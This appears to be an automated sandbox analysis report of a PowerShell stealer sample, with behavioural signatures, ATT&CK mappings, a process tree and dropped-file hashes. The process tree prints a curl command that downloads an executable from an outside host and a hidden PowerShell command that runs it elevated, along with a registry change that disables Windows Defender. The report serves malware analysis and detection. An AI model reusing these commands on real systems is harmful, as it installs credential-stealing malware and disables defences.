e61dacaf5437c542f9d827345fb070a317b5eff822535ae824185f00f9656f0a

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 10:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Новый текстовый документ (13).ps1
Size 115B
Sample261107-mt3r6abs3s
SHA256 e61dacaf5437c542f9d827345fb070a317b5eff822535ae824185f00f9656f0a
MD5 a6f4cb3f1432fff799b04ca6bc043e2b
SHA1 8ea1b31d18b200a21ee74df9e7c85919be232ce6
SHA512 5c56980ced89931f8c02e74a6d42f16024586c9a77b569b7e87f554a47fd64e4827ca936d16f0c6d9b9eb86ca90b77887d10cbaa21d950e12e59ff2aedb6002b
TLSH
T1CEB012517FE5CB08065462B6690C9484F3340ABD16282CF867C3EA588D453D1906B76C
MD5 SHA1 SHA512 TLSH

Score

10^/10

credential_access discovery evasion execution persistence spyware stealer trojan upx

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	PowerShell.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3268	PowerShell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3268	PowerShell.exe
4840	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	4428	curl.exe

Executes dropped EXE 6 IoCs

pid	Process
5924	gg2cY2.exe
5760	SearchHost.exe
3292	SearchHost.exe
4820	SearchHost.exe
5184	SearchHost.exe
5068	SearchHost.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

UPX packed file 19 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c54d-43.dat	upx
behavioral2/memory/5924-46-0x00007FF6ABB50000-0x00007FF6AC190000-memory.dmp	upx
behavioral2/memory/5760-48-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/5924-51-0x00007FF6ABB50000-0x00007FF6AC190000-memory.dmp	upx
behavioral2/memory/5760-53-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/5924-54-0x00007FF6ABB50000-0x00007FF6AC190000-memory.dmp	upx
behavioral2/memory/5068-61-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-67-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/4820-69-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-68-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/5184-71-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-72-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-74-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-76-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-78-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-80-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-84-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-88-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx
behavioral2/memory/3292-90-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp	upx

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\gg2cY2.exe	gg2cY2.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xctnqzpo.p0r.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_y4yvaxei.use.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_esr0wmv2.5da.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_tnvs4ju4.xun.psm1	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3376	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	gg2cY2.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	gg2cY2.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	SearchHost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	SearchHost.exe

Modifies data under HKEY_USERS 59 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = 107c6b23b618f8e7d380b2631313a2d0150031be9b0015dbe45b4138ff3b2788	SearchHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFiles0000 = 43003a005c00550073006500720073005c00410064006d0069006e005c0041007000700044006100740061005c004c006f00630061006c005c0047006f006f0067006c0065005c004300680072006f006d0065005c005500730065007200200044006100740061005c00440065006600610075006c0074005c004e006500740077006f0072006b005c0043006f006f006b0069006500730000000000	SearchHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	SearchHost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = 1dba04a60dd6265f3cb4ba6972d5eeb9591c46fd0e995fed46410b98069df83c	SearchHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFiles0000 = 43003a005c00550073006500720073005c00410064006d0069006e005c0041007000700044006100740061005c004c006f00630061006c005c004d006900630072006f0073006f00660074005c0045006400670065005c005500730065007200200044006100740061005c00440065006600610075006c0074005c004e006500740077006f0072006b005c0043006f006f006b0069006500730000000000	SearchHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	SearchHost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	SearchHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	SearchHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Owner = dc0c000096c6714ca56edd01	SearchHost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "1"	SearchHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFilesHash = 1c2ba9d5519b992eb6b2a54a4b13050152c54bef43e9bb1b411c092bbebe2464	SearchHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager	SearchHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFilesHash = 11f5cdb977c0c6447c7482c0748c81b927f1957bdd3fb8e1000b98a9f864b088	SearchHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings	PowerShell.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
3268	PowerShell.exe
3268	PowerShell.exe
3268	PowerShell.exe
3268	PowerShell.exe
3268	PowerShell.exe
3268	PowerShell.exe
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5924	gg2cY2.exe
5760	SearchHost.exe
5760	SearchHost.exe
3292	SearchHost.exe
3292	SearchHost.exe
4820	SearchHost.exe
4820	SearchHost.exe
5184	SearchHost.exe
5184	SearchHost.exe
3324	powershell.exe
3324	powershell.exe
5068	SearchHost.exe
5068	SearchHost.exe
3324	powershell.exe
3292	SearchHost.exe
3292	SearchHost.exe
3292	SearchHost.exe
3292	SearchHost.exe
3292	SearchHost.exe
3292	SearchHost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4820	SearchHost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3268	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3268	PowerShell.exe
Token: SeSecurityPrivilege	3268	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3268	PowerShell.exe
Token: SeLoadDriverPrivilege	3268	PowerShell.exe
Token: SeSystemProfilePrivilege	3268	PowerShell.exe
Token: SeSystemtimePrivilege	3268	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3268	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3268	PowerShell.exe
Token: SeCreatePagefilePrivilege	3268	PowerShell.exe
Token: SeBackupPrivilege	3268	PowerShell.exe
Token: SeRestorePrivilege	3268	PowerShell.exe
Token: SeShutdownPrivilege	3268	PowerShell.exe
Token: SeDebugPrivilege	3268	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3268	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3268	PowerShell.exe
Token: SeUndockPrivilege	3268	PowerShell.exe
Token: SeManageVolumePrivilege	3268	PowerShell.exe
Token: 33	3268	PowerShell.exe
Token: 34	3268	PowerShell.exe
Token: 35	3268	PowerShell.exe
Token: 36	3268	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3268	PowerShell.exe
Token: SeSecurityPrivilege	3268	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3268	PowerShell.exe
Token: SeLoadDriverPrivilege	3268	PowerShell.exe
Token: SeSystemProfilePrivilege	3268	PowerShell.exe
Token: SeSystemtimePrivilege	3268	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3268	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3268	PowerShell.exe
Token: SeCreatePagefilePrivilege	3268	PowerShell.exe
Token: SeBackupPrivilege	3268	PowerShell.exe
Token: SeRestorePrivilege	3268	PowerShell.exe
Token: SeShutdownPrivilege	3268	PowerShell.exe
Token: SeDebugPrivilege	3268	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3268	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3268	PowerShell.exe
Token: SeUndockPrivilege	3268	PowerShell.exe
Token: SeManageVolumePrivilege	3268	PowerShell.exe
Token: 33	3268	PowerShell.exe
Token: 34	3268	PowerShell.exe
Token: 35	3268	PowerShell.exe
Token: 36	3268	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	3268	PowerShell.exe
Token: SeSecurityPrivilege	3268	PowerShell.exe
Token: SeTakeOwnershipPrivilege	3268	PowerShell.exe
Token: SeLoadDriverPrivilege	3268	PowerShell.exe
Token: SeSystemProfilePrivilege	3268	PowerShell.exe
Token: SeSystemtimePrivilege	3268	PowerShell.exe
Token: SeProfSingleProcessPrivilege	3268	PowerShell.exe
Token: SeIncBasePriorityPrivilege	3268	PowerShell.exe
Token: SeCreatePagefilePrivilege	3268	PowerShell.exe
Token: SeBackupPrivilege	3268	PowerShell.exe
Token: SeRestorePrivilege	3268	PowerShell.exe
Token: SeShutdownPrivilege	3268	PowerShell.exe
Token: SeDebugPrivilege	3268	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	3268	PowerShell.exe
Token: SeRemoteShutdownPrivilege	3268	PowerShell.exe
Token: SeUndockPrivilege	3268	PowerShell.exe
Token: SeManageVolumePrivilege	3268	PowerShell.exe
Token: 33	3268	PowerShell.exe
Token: 34	3268	PowerShell.exe
Token: 35	3268	PowerShell.exe
Token: 36	3268	PowerShell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3268 wrote to memory of 248	3268	PowerShell.exe	91
PID 3268 wrote to memory of 3376	3268	PowerShell.exe	92
PID 3376 wrote to memory of 4428	3376	cmd.exe	94
PID 3376 wrote to memory of 4840	3376	cmd.exe	95
PID 4840 wrote to memory of 5924	4840	powershell.exe	97
PID 5760 wrote to memory of 3292	5760	SearchHost.exe	100
PID 3292 wrote to memory of 5184	3292	SearchHost.exe	104
PID 3292 wrote to memory of 3324	3292	SearchHost.exe	105
PID 3292 wrote to memory of 5068	3292	SearchHost.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	10	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\Новый текстовый документ (13).ps1"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\gg2cY2.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\system32\curl.exe
    curl -L -s -o "C:\Users\Admin\AppData\Local\Temp\gg2cY2.exe" "https://kappa.lol/gg2cY2"
    3⤵
    - Downloads MZ/PE file
    PID:4428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\gg2cY2.exe' -Verb RunAs"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Users\Admin\AppData\Local\Temp\gg2cY2.exe
      "C:\Users\Admin\AppData\Local\Temp\gg2cY2.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:5924

C:\Users\Admin\AppData\Local\Temp\SearchHost.exe
"C:\Users\Admin\AppData\Local\Temp\SearchHost.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5760
- C:\Users\Admin\AppData\Local\Temp\SearchHost.exe
  "C:\Users\Admin\AppData\Local\Temp\SearchHost.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Users\Admin\AppData\Local\Temp\SearchHost.exe
    "C:\Users\Admin\AppData\Local\Temp\SearchHost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:5184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3324
- - C:\Users\Admin\AppData\Local\Temp\SearchHost.exe
    "C:\Users\Admin\AppData\Local\Temp\SearchHost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:5068

C:\Users\Admin\AppData\Local\Temp\SearchHost.exe
C:\Users\Admin\AppData\Local\Temp\SearchHost.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
PID:4820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 786c882d393a8522322bccf4537c4697fac0f31d4bc6d2a70f95a013509afabc
MD5 a014f513d0094bb3d93e37058e63d91e
SHA1 a6f98e9f944c4682e4346fe338c1915aab363e7e
SHA512 e79c7942f379a7302f79237f00f0cb55b9ba3a2ce45485e267bb66bc64032b70febf1da93966a9e88681a4ee8ebdbcfdd7ce4eea97b6bedaacd4ac7e2e64583c
SSDEEP 1536:iKLgw7Yo2hk3MhfKQ1PflJdpHYLh4iUxpR40i71YigMJyPgOdB4V3CNBQkj2Ra5c:iKLgw7Yo2hk3MhfKQ1PflJd9YLqiUpRG
TLSH
T1FB637292E9204E75E1A66F3EF15622627C30394690F8013211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_tvt5wxzu.sze.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tvt5wxzu.sze.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

gg2cY2.exe

Path C:\Users\Admin\AppData\Local\Temp\gg2cY2.exe
Size 2.3MB
SHA256 20766fe4e7648901d10b977e2d527ab4c2819dac1336dc209ad0ec39a307ea76
MD5 419021ff961d45ebce7c098e4766a218
SHA1 fd33754e581d8d1757387ab86fb7eb5bfbae8389
SHA512 8a84dd79e960305271a4f0cc167260a59eaa5290479892b19541293b5361e59d5c689a32a78aa0ba3c2508fc4f3e6d5a9bc0fb89d3dfe10126cde0f7fde7cc3f
SSDEEP 49152:ctuwfYVfH6Ze3Gm5QGGOatvjH7RxF4bn2n9xhhSFE2d9US:cEwsfH6ZenQGE7LF4bMxhhhkK
TLSH
T1CDB53329B2770C34C15F09392D88CF7D17189B09B358CB1944EFD549A96BFE12AADCE2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gg2cY2.bat

Path C:\Users\gg2cY2.bat
Size 371B
SHA256 cbc1b064b1c20d8e723679ecbacf5b761fd077f2dbd4cc5a8782265c706d6a6a
MD5 89bc964df867c373df1769d9b1443536
SHA1 e6c335b63b8f30aa56a6795a8f7c189f7afb6c56
SHA512 9c2e9c96b984fc2cbc8fb67220c7cb8606102396a802bc3827db8c9c1104a96a7bf2de59f996d4e1507d0775915c7602036e87aa5ceafd2a604f9c5ba855aa38
TLSH
T14EE0C0CF52393A3B197B5F4CC1C2280AEB0B828EEF2A46CF245D941C3945243F38D095
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3268-28-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-22-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-8-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-9-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-10-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-11-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-12-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-13-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-14-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-15-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-16-0x0000028FF6500000-0x0000028FF66C2000-memory.dmp

Download

memory/3268-19-0x0000028FDDAB0000-0x0000028FDDACE000-memory.dmp

Download

memory/3268-21-0x0000028FDDAA0000-0x0000028FDDAAA000-memory.dmp

Download

memory/3268-20-0x0000028FF6430000-0x0000028FF64E2000-memory.dmp

Download

memory/3268-6-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-38-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-23-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-24-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-27-0x0000028FF5F50000-0x0000028FF5F6E000-memory.dmp

Download

memory/3268-0-0x00007FFB361EF000-0x00007FFB361F0000-memory.dmp

Download

memory/3268-5-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-36-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-7-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-37-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3268-4-0x0000028FDD8B0000-0x0000028FDD8D2000-memory.dmp

Download

memory/3268-1-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp

Download

memory/3292-78-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-74-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-90-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-88-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-84-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-67-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-80-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-76-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-72-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

memory/3292-68-0x00007FF6493B0000-0x00007FF6499F0000-memory.dmp

Download

